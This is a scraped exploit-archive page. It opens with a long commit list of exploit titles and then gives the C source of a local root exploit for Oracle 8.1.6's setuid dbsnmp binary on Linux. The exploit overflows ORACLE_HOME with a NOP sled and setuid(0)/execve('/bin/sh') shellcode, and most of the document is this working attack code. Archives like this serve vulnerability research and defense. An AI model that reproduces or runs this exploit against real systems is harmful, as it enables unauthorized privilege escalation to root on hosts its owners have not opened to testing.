880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
104 lines
No EOL
2.6 KiB
C
104 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/3138/info
|
|
|
|
Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.
|
|
|
|
When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.
|
|
|
|
To exploit this vulnerability, the user must be in the oracle group.
|
|
|
|
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
|
|
|
|
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.
|
|
|
|
In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
|
|
|
|
|
|
|
|
"Cae fuego en lugar de mana
|
|
Se disfraza el asfalto de mar
|
|
El zapato no encuentra el pedal
|
|
Parece que anda suelto satanas."
|
|
|
|
L.E.Aute
|
|
|
|
|
|
|
|
This vulnerability was researched by:
|
|
Juan Manuel Pascual <pask@plazasite.com>
|
|
|
|
Special thanks to:
|
|
|
|
Ivan Sanchez <isanchez@plazasite.com>
|
|
Mundo Alonso-Cuevillas <mundo@plazasite.com>
|
|
*/
|
|
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#define BUFFER 800
|
|
#define OFFSET 7896
|
|
#define NOP 0x90
|
|
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"
|
|
|
|
|
|
char shellcode[] =
|
|
"\x90" /* Additional NOP */
|
|
"\x31\xc0" /* begin setuid (0) */
|
|
"\x31\xdb"
|
|
"\xb0\x17"
|
|
"\xcd\x80"
|
|
|
|
"\xeb\x1f"
|
|
"\x5e"
|
|
"\x89\x76\x08"
|
|
"\x31\xc0"
|
|
"\x88\x46\x07"
|
|
"\x89\x46\x0c"
|
|
"\xb0\x0b"
|
|
"\x89\xf3"
|
|
"\x8d\x4e\x08"
|
|
"\x8d\x56\x0c"
|
|
"\xcd\x80"
|
|
"\x31\xdb"
|
|
"\x89\xd8"
|
|
"\x40"
|
|
"\xcd\x80"
|
|
"\xe8\xdc\xff\xff\xff"
|
|
"/bin/sh";
|
|
|
|
|
|
unsigned long get_sp(void) {
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
|
|
void main(int argc, char *argv[]) {
|
|
char *buff, *ptr,binary[120];
|
|
long *addr_ptr, addr;
|
|
int bsize=BUFFER;
|
|
int i,offset=OFFSET;
|
|
|
|
if (!(buff = malloc(bsize))) {
|
|
printf("Can't allocate memory.\n");
|
|
exit(0);
|
|
}
|
|
|
|
addr = get_sp() -offset;
|
|
ptr = buff;
|
|
addr_ptr = (long *) ptr;
|
|
for (i = 0; i < bsize; i+=4)
|
|
*(addr_ptr++) = addr;
|
|
|
|
memset(buff,bsize/2,NOP);
|
|
|
|
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
|
|
for (i = 0; i < strlen(shellcode); i++)
|
|
*(ptr++) = shellcode[i];
|
|
|
|
buff[bsize - 1] = '\0';
|
|
setenv("ORACLE_HOME",buff,1);
|
|
system(BINARY);
|
|
} |